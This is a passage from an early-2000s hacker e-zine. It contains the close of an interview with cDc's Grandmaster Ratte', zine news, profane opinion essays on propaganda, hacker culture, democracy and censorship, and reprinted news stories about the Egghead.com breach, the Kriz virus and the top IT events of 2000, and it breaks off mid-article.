it didn't work." We had a lot of communications problems +within the group leading up to it and we weren't really on the same page. And +then tons of technical glitches and general confusion led to a half-assed show. +But we learned a lot about what not to do and to not just assume things will +work out, and next year should be insane. + +Jello Biafra's speech was really cool, I think it's definitely what's needed - +an outside voice pointing towards some sort of agenda, via hacktivism and such. +I think the problem with these cons has been sort of a blase' attitude - I see a +lot of kids throwing themselves in these "Internet security consulting +companies" trying to act like some dim-witted view of what "professional" means +and not seem like they're 16 years old. Thinking they're going to pull a L0pht +and somebody's going to throw 'em some money. Get real, kid. Too much +unimaginative dull thinking going on, people not seeing the big picture or +thinking about the potential here. Enough complaining though, cons are still +great and everyone should go if possible. It's really fun to meet people from +the pages and IRC and hang out for a weekend. + +----- + + - Do you want to give any shout outs to anyone? + +Yes, everybody who's helped us out in some way over the years. Carried our +stuff on their system, put a sticker someplace, bought a t-shirt, sent some good +feedback, told someone about cDc, lugged stuff around at a con, wrote a story +about us. We appreciate it very much. We're so grateful to everyone. + +----- + + - Thanks for doing this interview. We really appreciate it. + +Thank you, it was fun. Happy New Year, y'all... + +G. Ratte'/cDc + +----- + +Afterward: + +To say the very least, interviewing Grandmaster Ratte' has been a real highlight +for me, and has made this issue special. I remember reading cDc issues in +the late 80s, when I first got into BBSing and the whole text scene. In all +honesty, I grew up reading cDc. Their files are the biggest reason that I +got into this at all. And, I can still vividly remember scanning while reading +the latest cDc issues. ;) So, massive thanks to G. Ratte' and the rest of cDc +for putting out such high quality material throughout the years. It's amazing +how they've been able to play such a prominent role in the scene for so many +years, and still not take themselves too seriously... and keep their sense of +humour, etc. Thanks again for giving our readers a chance to get to know you +and cDc better. And keep sending the cDc PR our way. + +To our readers, make sure you hit www.cultdeadcow.com and check it for all their +cool new stuff. Damn straight you better! + + +NEWS FROM THE TRENCHES - {NEWS} + +WXYZ Channel 7 Action News at 11 from Detroit City baby! We're down in the +trenches and we're diggin' up the dirt for your reading pleasure. Once again +it's time for the News. So hold onto your hats folks, because this edition +has more flash, razzle and dazzle than a Vegas show and a newsstand tabloid put +together. Yeah, that's right. We've got the straight dope on all the +happenings. And, we're reporting live from the source, inside the heavily +guarded Damage, INC. compound. So get up, wake up and come with it now! + +We realize it has been a long time since we've released a new issue. But +since the end of June, a hell of a lot has been going on. However, we're off +to a good start in 2001. And that's all that really matters right now. + +Our texts are now readable online at www.textfiles.com/groups/DAMAGEINC/ +Yes, the URL is case sensitive. Yes, our directory is right below cDc on +the groups page. We know. ;) + +A new edition of the Phreaky Field Phreaking List for Winter 2001 is on its +way to CRTs and printers everywhere. So, look for it to be available sometime +in January. Hit the site for all the details. + +We also have a few little projects in the works. More details will be released +at a future date. I just wanted to create some anticipation and leave you +wondering... Here's some hints. Think merchandise. Think phreaky. Think. + + +OBJECTIVE OPINIONS - {OPINIONS} +The Propaganda Machine Rolls On. + +Spinning its wheels, spinning its spin, the propaganda machine always manages +to roll on. It's wheeling and dealing, churning and turning, bubbling and +sputtering, but it still always manages to spout out misinformation and +disinformation when it's called upon. It's a public relations machine and a +corrupt politician's dream. It's big, bad, nasty and mean. And it's churning +out lies throughout the world, in every scene. + +Propaganda is defined as being "an association, organized scheme, for +propagation of a doctrine or practice; doctrines, information, etc. thus +propagated; efforts, schemes, principles, of propagation." + +Simply put, that means the spreading of information, ideas, beliefs, dogma, +principles, and systems by way of an organized scheme or effort. + +The focus of this article isn't just propaganda, but rather the actual workings +of it. As in, the machinery that drives it, creates it, and spreads it. +Picture the image of a steamroller, except it is able to travel at the speed +of information, faster than the speed of light. Now think of that information +being tainted and corrupted. The highways the propaganda machine paves over +previously contained truth, but now they're built on falsehoods and lies. In +essence, that's how it works. The question is, who's driving it? And what are +the reasons for wanting to spread lies? Why use propaganda at all? What is the +purpose of it? In this article, I'll attempt to answer those questions. In the +process of doing that, I'll state my own opinions on the propaganda machine. +Just keep in mind, no one's opinion is completely objective. There's natural +bias and subjectivity built into them all, including mine. However, most people +won't admit that before stating them, since consciously or subconsciously they +want you to agree with them and believe everything they've written. Unlike +those people, I'm willing to honestly make an admission such as that up front so +that you know ahead of time. That way, you can think and form your own opinions +while reading this article, without being influenced in any way to agree with +me. That being said, here's the truth -- as I see it -- behind propaganda. + +Propaganda has infiltrated every facet of our so-called "society", from +government and military reports, to campaign advertisements during elections. +But that's not all. That's just the beginning. It takes on so many forms that +it can sometimes be difficult to recognize as being propaganda at all. It has +spread so far, that it's literally everywhere and in everything now. In fact, +it has become ubiquitous. Just like Big Brother. Sure, we've written about +propaganda before. And you know it's one of Big Bro's favourite tools to use +against us, to influence us. But do you know how it works? Do you know how it +gets inside of your brain? It's brainwashing. It's out and out mind control, +just as much as any other technique that relies on technology. Hell, your +television and radio are both technologies that can be used to spread +propaganda. They're part of the machine. They're tools. Computers are also +tools. Nothing is completely good, or completely pure. Almost any type of +technology can be used against us by Big Brother. Nothing is entirely +beneficial and harmless. Nothing. + +Obviously, the answer to the first question of who's driving the propaganda +machine is Big Brother. They're in the driver's seat. They're at the helm. +They're pulling the levers, hitting the switches and pushing the buttons. And +they're pulling the strings too. But not all of us are naive puppets, and so +easily controlled by the propaganda machine. We aren't all zombies, yet. + +The reasons for wanting to spread lies, disinformation and misinformation are +simple. It keeps us from knowing the truth. It influences the public to think +they know what Big Bro wants them to know. It throws them off track. It keeps +them blind and in the dark. It keeps them down. It keeps them ignorant. It's +a barricade that keeps them out of the loop. They can't get at the inside +information. They can't get the real stuff, the truth. They can only feast on +the lies. They can only rely on what they've read, heard, or been told. And +many of them believe it, without question. + +The actual propaganda machine is media. And I don't just mean mass media +publications, broadcasts and the the various media organizations and outlets in +the world. That is, even though the mass media has always been one of Big +Brother's closest allies... they aren't the entire propaganda machine. The mass +media is just the biggest part of the engine. It consists of much more than +the mainstream media sources and outlets. We're talking about a huge, worldwide +machine that can encompass even the smallest zines, pamphlets and leaflets. +Hell, propaganda can be something as small as a flyer that has been stuck +underneath the windshield wiper on your car. And it can be as big as a +government controlled, national television news station. It isn't that easy +to bring it to a halt either, unless you revolt and overthrow the government +behind it. Yes, that happens, but look at the damage that has already been +done by the time it's taken off the air. Ask a Russian about Stalin, and even +now, the older ones will still speak of him with reverence and respect. That's +propaganda at work, long after his death. Long after the demise of the machine, +the imagery it brainwashed people with can still live on. + +Propaganda is often spread by word of mouth from person to person as well, in +the same way that rumours are. This method isn't as slow as you may believe. +If people are already prone to believe something, they'll spread it like +wildfire throughout their area. And in turn, the people they tell will be +likely to do the same. It continues from there until entire cities believe +something that's entirely false. + +Things have changed drastically in the last century though, with the advent +and widespread use of technology such as television, radio, etc. And of course, +now there's the Internet, and people have high speed digital connections to the +rest of the world. And so, that just means propaganda can be spread even +quicker than in previous generations. A wired world aids the spread of +propaganda more than anything else. Technology only enables propagandists to +spread their lies anywhere and everywhere in what equates to a millisecond. +Propaganda at the speed of light. Broadband bandwidth for propagandists +everywhere baby. That's where it's at. Now anyone can spread their message, +and reach anywhere on the globe with it, faster than previously imagined. + +Propaganda is, and always has been, a powerful force. It's a tool of choice for +governments across the globe. It is, without a doubt, one of the oldest forms +of misleading people. And it has been a proven means of swaying public opinion +and creating popularity in order to obtain power and control. Certain political +parties (past and present) perfected the use of propaganda to the degree that +they could attain whatever power they wanted, and do whatever they wanted, with +very little opposition. In fact, the holocaust during WWII was due in no small +part to propaganda. Yes, propaganda can lead to massacre. Once mastered, it +can influence people to do anything. A well oiled propaganda machine can kill +and slaughter anyone in its path, very easily. The corpses it leaves in its +wake aren't even speed bumps. They don't slow it down at all. It just rolls +on and on. Usually counter-propaganda and physical force are all that can stop +it once it gets going. Propaganda warfare. That can be just as dangerous in +an unstable world. So, the next time you read something, consider the machine +that might be at work behind it. Rolling... rolling. Churning and burning. + +Written by BLACKENED / Damage, INC. (C)opyright 2000. + + +Hacker Culture. + +To paraphrase what Erik Bloodaxe once wrote in Phrack during his editorship, +technical articles aren't as memorable as hacker culture. And long after they +were written, they aren't usually very useful either. Most often they're +virtually obsolete as you would be hard pressed to find an active, working +system around that they describe a decade or more after they were written. But +the articles on people, the stories and the hacker lore survive years, and even +decades after they're written. In this article, I'm going to attempt to explain +why, as well as give my own opinions on hacker culture, past, present and +future. + +Hacker culture grows and evolves like everything else. In hacking, it's the +people that make it interesting, and the people that are remembered. Of course, +many of those people are involved in groups, have web sites, and contribute to +zines, etc. And so that's an important part of hacker culture as well. + +Stories and memories are what keep things alive. A well known hacker may decide +to quit the scene, but they'll forever be remembered by alias and/or by name +by the many people that remain active in it. They'll also be survived by the +things they wrote during their time in the h/p scene. The same goes for hacker +groups and zines. They may be retired, but they'll still exist electronically. +They'll still be remembered by people, if they were memorable to begin with. +Hell, there are several 1980s groups that people still talk about today, and +zines from that era that are still read. They don't just disappear and fall +into the abyss. They don't fade away that quickly and easily. Hacker culture +survives from generation to generation. And that's actually a good thing. We +shouldn't allow the past to just be forgotten. It's important to document and +preserve the past. Credit should be duly given to anyone that does that. + +Why does hacker culture, and the past survive? The simple answer is, it's +difficult to kill a legend. For example, a group that receives a lot of +publicity, notoriety, and is involved in many well known events, scandals, +rumours, has members part of famous hacks, crackdowns, busts, and whatever +else is bound to be the topic of many conversations. Hype about them is +inevitably created. Stories are told and retold. They're passed from person +to person, and their name survives. The members might move on to different +things, but their association with a long lasting group isn't severed. The +same goes with certain popular zines. The editors become linked to that zine. +The mere mention of their alias automatically makes you think of the zine that +they created, or were the editor of. They go hand in hand. The same applies +to people that were involved with well known hacker groups. If someone says +that alias, you think of the group they were in. It's word association. In +some cases, you can't think of one without thinking about the other. + +Here are a few things worth mentioning and commenting on: + +LOD Communications started a project of documenting the history of many +underground hack/phreak boards in 1993. Although LOD wasn't able to gather +together as many complete message bases from all the boards they had hoped, +they did manage to put out quite a bit of very interesting, nostalgic material +from several well known boards from the 80s, such as Phoenix Project, Black Ice, +etc. And so, they did preserve some of that history, which is cool. + +Jason Scott of www.textfiles.com fame has done an excellent job of preserving +files that might otherwise have been forever lost. He maintains a huge archive +of t-files, including those released by individuals, groups and has an extensive +collection of zines. Massive site... and massive props should go out to him +for the tremendous work he's put into it. + +scene.textfiles.com also does a great service by providing information regarding +the release of new zines and new issues of zines, etc. Gotta get your ascii +fix. ;) + +cDc (Cult of the Dead Cow) has been a fixture in the hacking scene since 1984. +Along the way, they've done a great deal to preserve the "old sk00l" scene, +and are still releasing ascii text cDc issues after all these years... which +is damn cool. To say the least, they have managed to bring the best of both +old and new together, into a fine blended mix. ;) In all seriousness, when +you think of t-files and electronic zines... how can you *not* think of and +mention cDc? They're so synonymous with each other, so interlinked that it +would be blasphemy to write an article on Hacker Culture, and fail to mention +Cult of the Dead Cow in it. But, in the interest of brevity, if you want +more insight on cDc... and its culture, read the interview in this issue with +G. Ratte'. + +I decided to write this article because hacker culture really interests me. +In fact, I'm more interested in the culture than ever before... perhaps more +than all of the technical aspects of hacking, and latest techniques, etc. +To be honest, I'm not exactly sure of all of the reasons for finding it so +interesting. I just find it to be a fascinating culture. In terms of cultures, +it's a relatively new one. It has only been around for decades, and not +centuries. It's still changing and evolving at a rapid pace. It's still fresh +and exciting. And it has some of the most unique, strange, amazing characters +and personalities of any culture. Very few, if any, cultures have the diversity +in individuals, or true individuals for that matter, as this one. It is, +without a doubt, a culture of thinkers, inventors, innovators and engineers. +It's filled with brilliant people. If nothing else, hackers are a truly unique +group. They forge ahead, pressing technology forward, pushing the limits, +advancing their knowledge, even when faced with overly harsh legal consequences. +They've managed to accomplish a huge amount in the few short decades that the +world has had computers as a tool. Yes, that's right, computers are just a +tool. They don't inspire me to write, even though I use one to write and +distribute material with. So, there you have it; hacker culture without it +being written about by a paid journalist who's uninterested in it and doesn't +really give a fuck what it is, and how it is presented or preserved. + +Written by BLACKENED / Damage, INC. (C)opyright 2000. + + +Democracy: Believe what I say. + +Is that really democracy? What happened to the whole freedom of speech and +expression part of our Constitution? Well, the fact is, that doesn't seem +to mean shit these days. Political correctness has all but abolished people's +ability to accept that freedom means NOT ALWAYS FUCKING HEARING, READING AND +SEEING WHAT YOU WANT! Democracy is basically non-existent now though. What +about the good old US of A you say? What about the land of the free? Love it +or leave it right? There, I said it. That's what this is all about in a +sentence. + +If you criticize a country, especially the one you live in, and others falsely +believe that it's free... and you disagree (as you should be your right to do +in a *free* country), they get all upset. Some of them become so enraged, +they'll start yelling and tell you to "get the fuck outta the country if you +don't like it." and use the old cliche of "USA: Love it or leave it." Yeah, +whatever. There's so much freedom that if you don't love it, or if you're +critical of parts of it, you're told to leave? Is that freedom? It's the old +dictatorship rule of, disagree with us and what we think and you're not welcome. +Well, not welcome could mean, executed in many cases. But, the same logic +applies. Is that the type of "democracy" you want to live in? A country in +which if you disagree with something, or are critical of a policy, or a +government, the popular opinion is that you're "anti-America" and thus, you +should leave? Do you want to be forced to leave? Honestly, I don't think +that's that far off. If many people had their way, that's how it'd be. + +Is a "democracy" a place where everyone agrees? Is it a place where everyone +loves everything about it? Is it a place where if you disagree with a law or +a public policy, you're in the wrong? Is it a place where you're not supposed +to voice your opinions and views on things? Is that freedom? + +If you want to be free, speak out. Make yourselves heard before it's too +fucking late. Make damn sure that freedom of speech means what it says. +Freedom doesn't mean thinking what you're told, and doing whatever you're told. +It means you have a right to your beliefs! Don't let anyone take that power +away and change the definition of freedom. And please, don't live under the +false assumption that your rights and freedoms are protected. They aren't. +Sad but true. + +America deserves better than that type of ignorant attitude, which is about +following popular opinion. This country was *built on* differing opinions and +viewpoints. It was founded on freedom for the individual. But each and every +day, democracy is slipping away. + +Written by Blackie Lawless / Damage, INC. (C)opyright 2000. + + +censorthisshit + +Say that a few times really fast. Sounds like censorship doesn't it? + +Marijuana is a gateway drug. Everything you know is a lie. The truth is out +there. Tomorrow is another day. Develop a taste for mainstreamness, pop +culture, cliches, consumerism, commercialism, advertisements and propaganda. + +Stare blankly at your television screens. Those idiot boxes won't turn you into +zombies. They're just a tool. The medium is the message? @!#$ that. The +medium is electronic. But this is the message. The message is the message, +not the medium I'm using to send it out! However I choose to say something +doesn't become the message. The message *is* the message and *remains* the +message. The medium is inconsequential. The words are still mine. And the +message has the same meaning regardless of the medium used to broadcast it. + +You can pretend propaganda doesn't exist. You can pretend hypocrisy doesn't +exist. You can pretend censorship doesn't exist. You can ignore it all. You +can pretend it doesn't bother you. You can be indifferent. You can be against +it in your mind, and be complacent. But the reality is, it does @!#$ing exist. +It's all around you. It has infiltrated every facet of your lives. It's +everywhere, around every corner of "society". + +Some people claim to be above it. Some proclaim themselves to be +anti-censorship, and yet they censor what others write in the forums on their +web sites. Hypocrisy and censorship aren't just in a marriage of convenience, +they're soul mates. + +Some people boldly claim they're against propaganda and aren't influenced by +it. They pretend it doesn't affect them. They're living a lie, thinking they +don't believe propaganda, and can always distinguish it from the truth. The +fact is, you can't. Not always. No one can. Our minds aren't wired that way. +Every piece of information you take in can be analyzed and stored, but we don't +have filters to remove all the propaganda we're continually being fed. It's +only natural that some of it is absorbed, believed as truth, and stored for +future reference. And so, it exists in your mind. Once there, it can be spread +further. Think of it as being a time bomb. Tick. Tick. + +Of these things, censorship is probably the easiest to fight. Well, at least +in western nations. In countries such as China, it is obviously much more +difficult to combat, as the stakes are a lot higher, and the people actively +involved in campaigns that oppose censorship are pursued vigorously and +imprisoned. We don't have that threat hanging over our heads here, yet. +Therefore, we should do even more to fight against it. Think of it as a +struggle for freedom. Not just for freedom of speech, but for the freedom of +all ideas, thoughts, beliefs, and expression. + +Why must we battle against the proliferation of censorship? Personally, I don't +want to live in a "society" that actively promotes restrictions and limitations. +I don't want to be controlled, and have my words controlled. Many substances +are already controlled by governments already... + +Ahhhhhh... @!#$ history and culture and truth and freedom. It's all @!#$ing +@!#$ed up and @!#$ anyway right? + +Do you know what would be really cool? We should try to eliminate words +entirely. You know, like in Orwell's novel, 1984. Without the words, people +couldn't speak out. Hell, people wouldn't even be able to think dissident +thoughts anymore. Thoughts would be censored. Everyone would be kept in check. +We'd all be the same, thinking and talking the same. Sameness would be the +order of the day. Sameness would rule. Big Brother would be victorious. And +the zombies could all live in @!#$ing ignorant bliss. + +That isn't the type of world I want to live in, where words are chosen for you, +changed for you, and your speech is at someone else's discretion. What you say +should be how you want it said. What you want to expression should be the way +you want to express it. Yes, that's idealistic. But so @!#$ing what! Once +censorship takes hold and becomes the accepted way, you'll soon see more than +"swear" words and "slang" disappearing from the vernacular. You will many +limitations put on languages, and our means of expression ourselves verbally +will be restricted by virtue of less choice in vocabulary. And I say, @!#$ +that! My thoughts and words are my own and will remain that way. + +It's so @!#$ing ignorant to tell someone else how to express themselves. And +saying that swearing and using obscenities is a sign of ignorance, is even +worse. The old holier than thou, judgmental attitude. The "I'm better than +you" or "I'm above you" @!#$. @!#$ that. @!#$ it. @!#$ it all. + +Written by BLACKENED . Damage, INC. (C)opyright 2000. + + +You Can Hack Their Computers, But Can You Hack Their Minds? + +By: Yogini Bare (hermes23w@disinfo.net) + +Sure, hackers are a breed above because as long as they're hackers, they haven't +been caught, and as long as they haven't been caught they've got something up on +the system. Hacking is an evolutionary response to a system that doesn't work, a +force preying off of the system and evolving with it like any living organisms. +It's a relationship that depends on opposition, but the hacking/phreaking +communities wouldn't have a rallying point if not for the corrupt and decadent +meglo-monopolies that crowd out competition that isn't smarter, faster, and more +willing to operate outside the box. Nor would the mainstream have a decent +incentive for growth if it weren't for those people testing the limits of +established technological boundaries. The mutual struggle for the upper hand +sharpens the skills of hackers and mainstream techies alike. The question I pose +to the counterculture is though: Do we try so hard to oppose something that we +end up becoming it? + +It's a normal scenario; the story of the undercover cop who gets to liking the +perks of the underworld or, on the opposite extreme, the ex-SLA bomber who +turned into a well-to-do socialite (until the Feds caught up with her). +Immersion is a common way to influence people because humans tend to adapt to +their surroundings, especially under the pressure of threatening situations. It +can be a situation where a person becomes assimilated into their surroundings to +"fit in" or reduce hostility, or it could be the immersion of a hacker +who studies their prey until they identify with it more than themselves. Either +way, pressure like that triggers the natural response of adaptation. That means, +the people now running ahead of the sociological pack are most vulnerable to the +influence of immersion for the very reason that they are most suited to +adaptation. Arrest can ruin a hacker for life, can take the spark of perpetual +evolution out of them because they learn quickly what the system can do with its +brute bully power. If those who are running ahead of everything choose to look +back, they have a good chance of being absorbed back into the very complacency +they were trying to get away from. + +I propose we move forward. + +It very well might be that Bill Gates is the most successful hacker to date +because by the time the government caught on to what he was doing, Micro$oft was +too big to stop. Windows software has pervaded a lot of the computers in the +world just like any virus out there. The difference between it and what we would +traditionally think of as a virus is that Microsoft is predominantly a virus of +the mind, whereas what hackers cook up is only a virus for the electronics. +People want what ol' Billy has, but the resistance people put up to a virus +makes the difference between a jail cell and the Microsoft mansion. + +By packaging ideas in a way that makes people want it, you serve yourself as +well as everybody else. To the masses, if it looks like a duck and sounds like a +duck, then it's a little quacker and they'll accept it. However, inside the duck +you can put anything you want because its only a facade to get your ideas in. +Put a candy coating on LSD and mark a little "M" on the front and +people might actually go for it. Its effective because it opens up the holes in +peoples' heads so you can cram a little crap into them- without the chance of +getting your balls handed to you by the Feds because the system had recognized +you as a threat. Come on, isn't the whole revolt against the system because that +system has overspecialized and doesn't work? Why just stick to tech when a +combination of it and other skills would work better? We can be smart enough +that no one evens knows its hacking. + +Imagine what could happen if instead of fighting something, you changed what +made you want to fight it all together. If you hacked into mass beliefs and made +them evolve, made them want to change, where would you be then? + +Better ask ol' Billy... + + +REPORTS FROM THE FRONT - {REPORTS} +Propaganda reports delivered directly to your screen. + +------------------------------------------------------------------------------- + +CAMBRIDGE, MASS. +Internet Pioneer Sees Web becoming even better + +Ten years after he created the World Wide Web, Tim Berners-Lee is nurturing it +into a gigantic brain, where databases get smarter and work together to solve +problems. + +Berners-Lee terms it "the Semantic Web." To him, it's the second half of the +information revolution. + +The Web is, of course, far from a finished product. + +"It's still got lots and lots of room for evolution, expansion and enhancement," +said Vinton Cerf, an Internet pioneer. "It's still very much in its infancy." + +The Semantic Web is all about making more kinds of data easier for computers to +process -- and to locate. For instance, many databases have a column called +zip, which could refer to a U.S. postal code or a file stored in dot-zip format. + +By adding meaning to those columns, computers can do a better job of searching +for information. + +"Imagine then, if you extend it to all the tables publicly available in the +world, you can see it is very powerful," Berners-Lee said. + +Such an approach could help computers understand that an automobile in +Massachusetts includes a car in Boston. Today, searching for autos in +Massachusetts might not produce the Boston car. + +"The problems with search engines now is they don't understand any of the data +or information," he said. + +But a smarter search engine is only a beginning. "It will automate all kinds of +things, and really the reason that you can't imagine it now is it will create +things you don't have now." + +The Web consortium that Berners-Lee heads is currently building the blocks for +the Semantic Web. + +At the base is the emerging extensible markup language, or XML, a way of tagging +information with hidden codes to enrich data on the Web and allow software to +automatically process instructions where human intervention was previously +required. + +XML is only the first of several building blocks that make the Semantic Web +work, however. Other components include vocabulary, logic and validation. + +Associated Press + +------------------------------------------------------------------------------- + +Friday December 22 9:35 AM ET +Egghead.com: Hackers Tap Into Systems + +MENLO PARK, Calif. (Reuters) - Internet retailer Egghead.com Inc. (NasdaqNM:EGGS +- news) on Friday said that a hacker had accessed its computer systems, possibly +its customer database, and it is now taking steps to protect its customers' +credit card accounts and the security of the site. + +The Menlo Park, Calif., company, which sells computer hardware, software and +other home and office products via the Internet (http://www.egghead.com), said +in a statement that it has retained an unnamed computer security firm to conduct +an investigation and inspect its security procedures. + +Egghead did not say how it learned of the security breach. Nor did it say +whether any fraudulent purchases had been made or if any customer accounts had +been tampered with. Company representatives could not immediately be reached for +comment. + +``As a precautionary measure,'' Egghead said in the statement, ``we have taken +immediate steps to protect our customers by contacting the credit card companies +we work with. + +``They are in the process of alerting card issuers and banks so that they can +take the necessary steps to ensure the security of cardholders who may be +affected,'' it said, adding that it is also working with law enforcement +authorities, who are conducting a criminal investigation. + +Copyright (C) 2000 Yahoo! Inc., and Reuters Limited. All rights reserved. + +------------------------------------------------------------------------------- + +December 20, 2000 8:16am +Kriz virus makes return appearance +By Robert Lemos ZDNet News + +Kriz, a year-old computer virus, may be coming back for Christmas this year, +thanks to its ability to piggyback on other viruses and spread with them. + +The Kriz virus, also known as the W32.Kriz, is based on the CIH virus, which +damaged computers worldwide when it was triggered on April 26, 1998. Anti-virus +software maker Symantec on Tuesday warned users to scan their computers before +Christmas and released a free tool to scan for the virus and remove it. + +"Worms by their nature propagate pretty quickly," said Marian Merritt, group +product manager for Symantec. "And when they get on a computer with Kris, they +start spreading that." + +Symantec and other anti-virus software already scan for the virus in their +stand-alone programs. + +The Kriz virus spreads to a computer when the user opens up an infected file, +changing the basic program that runs the operating system, known as the kernel. +The virus also infects other programs on the computer's hard drive and any +mapped drives, leaving open the possibility that the virus could travel across +company networks. + +Unhappy holiday + +"Remember," said Symantec's Merritt. "It may have spread itself to all your +executables, but you are only a carrier of the virus. The real payload hits on +December 25." + +When the virus triggers, it overwrites all files on the computer and then +attempts to erase the software foundation of the PC, known as the basic +input-output system, or BIOS. While the BIOS attack only occasionally works, the +other attacks can be extremely destructive. + +Symantec-rival Trend Micro Inc. believes the virus would not spread very far, +but warns that its ability to combine with other viruses could change that. + +Both Trend and Symantec reported that the virus has infected two other worms: +Happy99.worm -- also known as W32.Ska -- and W32.hllw.bymer.worm. + +Slow, but steady + +"Kriz is a destructive virus, but a really slow infector," said Joe Hartmann, +anti-virus researcher for Trend. "Yet, it's now infected a mass-mailer, so now +you have a destructive virus that's also a mass mailer." In the past 24 hours, +Kriz ranked No. 8 on Trend's Worldwide Virus Tracking Center in terms of how +many files the virus had infected. The tracking center is a real-time database +of the types of viruses found by the Trend's online House Call scanner. + +In North America, the virus ranked No. 6 for file infected. Despite that, the +virus has not spread very widely yet, and is known to have infected about 50 +computers in the last 24 hours. Because the tracking center only tracks viruses +that have infected users of Trend's online service, the actual number could be +much greater. + +Historians take heed, however. + +The Kriz virus is essentially a copy of the CIH virus, which was created in 1997 +by Cheng Ing-Hau of Taiwan. CIH fizzled in its first year, and a variant that +struck every month died out quickly. However, the annual variant did +significantly more damage when it was triggered in April 1998. + +Copyright (C) 2000 ZD Inc. ZDNet is a registered service mark of ZD Inc. + +------------------------------------------------------------------------------- + +InfoWorld names top 10 IT stories for 2000 + +From... +[InfoWorld] + +by Elizabeth Heichler + +(IDG) -- It was a year of failed dot-coms, mega mergers, love bugs and privacy +concerns. And it was a year that will not soon be forgotten by members of the +public -- or the IT community. + +Here, in no particular order, are the top 10 IT news events of 2000. + +Dot-com deathwatch + +It turned out that old-economy values like sustainable business models -- +offering products and services for which a reasonable number of people are +willing to pay money -- still hold true in the new economy. One after another, +companies that had burned through venture capital and IPO (initial public +offering) funds found that they couldn't go back to the well for more, and +without the cash they couldn't stay in business long enough to get money the +old-fashioned way, by earning it. + +Music on the Net meets copyright law + +Music available in digital form on the Internet emerged as a serious threat, not +just a theoretical worry, for the big record labels this year. Thanks in large +part to Napster's wildly popular service, free music-sharing on the Net exploded +from campus cult into courtrooms where industry lawyers tried to stuff the genie +back into the bottle. The lawsuit against Napster filed by the Recording +Industry Association of America (RIAA) in December 1999, made headlines before +even coming to trial as the plaintiffs sought an injunction to shut down the +popular peer-to-peer song-swapping service. While that case won't come to trial +until next year, MP3.com lost its court battle with the RIAA in May. + +Regardless of the outcome of the Napster lawsuit, the music industry is now +painfully aware that the Internet has changed its business model forever. + +Love Bug virus + +May 4 was a bad day for systems administrators. Years of being told by the IS +department to be careful about opening e-mail attachments didn't prevent many +people from clicking on apparent "love letters," in many cases from senders +known to them. The virus-worm hybrid, which deleted victims' image files and hid +audio files, started its damage early in the day in Asia (turns out it +originated in the Philippines) and worked by using a Visual Basic script that +sent itself to all recipients in a victim's Microsoft Outlook address book, thus +spreading rapidly through businesses from East to West before IS staff were +aware of the threat. Security experts estimated that the Love Bug infected more +than half of U.S. large businesses and "tens of millions" of computers +worldwide. Prosecutors in the Philippines ultimately dropped charges against +Onel de Guzman, who was suspected of creating and disseminating the virus in +May, because the Department of Justice lacked a law under which it could charge +him. + +FBI's Carnivore eats away at online privacy + +A U.S. Federal Bureau of Investigation (FBI) technology, nicknamed "Carnivore," +that the law-enforcement agency is using to uncover evidence in e-mail, raised +hackles among civil libertarians and privacy advocates when its existence came +to light this year. Carnivore, critics charge, doesn't meet guidelines governing +the use of wiretaps. Of particular concern are allegations that the software, +which the FBI has demanded be installed by some ISPs (Internet service +providers), is capable of capturing all unfiltered e-mail traffic, rather than +only e-mail going to people for whom the FBI has a wiretapping warrant. Last +month, an outside review of the technology showing that it does not overstep its +bounds was criticized as inadequate by privacy advocates. + +UMTS auction gold rush in Europe + +Like any good scheme, the first guys to hit on it got rich quick. But the folks +who came later to this money-making opportunity didn't have quite the same luck. +Who would have thought that offering licenses to telecommunication companies to +operate 3G (third-generation) mobile networks based on the UMTS (Universal +Mobile Telecommunications System) standard could be this lucrative for national +governments? First the U.K. extracted about $32 billion from four companies in +exchange for the privilege. Then the Germans cleaned up, getting $44.8 billion +in license fees. But things got messy in the Netherlands, where the state took +just $2.4 billion, and ugly in Italy. Analysts started to wonder how much of +this greed was good, and whether telecom companies would recoup these huge +investments. The Swedish government won praise for its bank-on-the-future rather +than take-the-money-and-run approach -- a modest administrative fee of about +$10,000 per applicant, but an annual tax on UMTS revenue of 0.15 percent. + +Time for telecoms to shuffle the deck + +For some, all that money spent in European UMTS auctions didn't help -- it +didn't make investors or bond-rating agencies happy. British Telecommunications +PLC's second-quarter profits reported last month were less than half the +previous year, thanks in part to the costs of acquiring licenses. The same day, +it announced a reorganization, following the example of both AT&T and Worldcom, +which both recently announced large scale organizational changes after seeing +their stock prices hammered. Worldcom President and Chief Executive Officer +Bernard Ebbers has had a rough year -- in June he had to drop his planned +acquisition of Sprint as both the European Union and the U.S. Department of +Justice apparently decided that some mega-mergers are just mega-anticompetitive. + +AOL-Time Warner marries new media to old + +Much earlier in the year, back in January, mega mergers were still in vogue and +new Internet money could still buy an institution like Time Warner. Based on the +$350 billion deal struck in January, America Online Inc. shareholders would own +55 percent of the new company, AOL Time Warner. Time Warner is the parent +company of CNN.com. The European Union has subsequently approved the deal, and +the U.S. Federal Trade Commission has now voted to unanimously approve it. The +merger still faces scrutiny by the U.S. Federal Communications Commission, which +experts suggest is a much lower hurdle for the companies to overcome. Executives +of the two companies had undoubtedly hoped the merger would be finalized earlier +since much has changed in the new -- and old -- media landscapes since they got +engaged in January. + +L&H goes from poster child for European IT to poster child for bad behavior + +For most of this year, Lernout & Hauspie Speech Products NV was the high-flying +voice technology company that Europeans could point to with pride as an example +of a home-grown yet industry-leading innovator in global IT. In March, L&H +solidified its leadership by agreeing to pay $592 million to buy out its U.S. +rival, Dragon Systems Inc. Then the bad news started to trickle out. In August, +a Wall Street Journal article raised allegations of accounting irregularities at +the company's Korean subsidiary. By September, the U.S. Securities and Exchange +Commission had begun an investigation of accounting practices. In November, +co-founders Jo Lernout and Pol Hauspie stepped down from their positions as +co-chairmen and managing directors. By the end of the month the company's new +chairman and chief executive officer had filed for bankruptcy, saying that they +had uncovered evidence of financial misreporting and other questionable +financial transactions, and that the filing was their only hope for protection +from creditors and legal claimants and for cleaning up the mess they inherited. +As of this writing, the company's assets have been frozen by a Belgian court. + +Microsoft loses big in antitrust case + +While no one expects the Microsoft antitrust case to be resolved anytime soon, +the U.S. Department of Justice beat the software giant in round one, the trial +in U.S. District Court. In April, Judge Thomas Penfield Jackson dropped the +first shoe: a conclusions of law finding that Microsoft maintained its monopoly +power by anticompetitive means and attempted to monopolize the Web browser +market in violation of the Sherman Antitrust Law. + +In June, he kicked off the other loafer, ruling that Microsoft should be broken +into two companies and heavily regulated to stop its anticompetitive behavior. +Microsoft is appealing the decision, and the briefs are already flying in round +two. Will Microsoft even be relevant by the time the last court rules +definitively? Some industry observers see its influence waning. + +Denial of service attacks hit the big time + +In February, hackers drew attention to a form of Web site attack that's not +particularly elegant but effectively crippled some of the 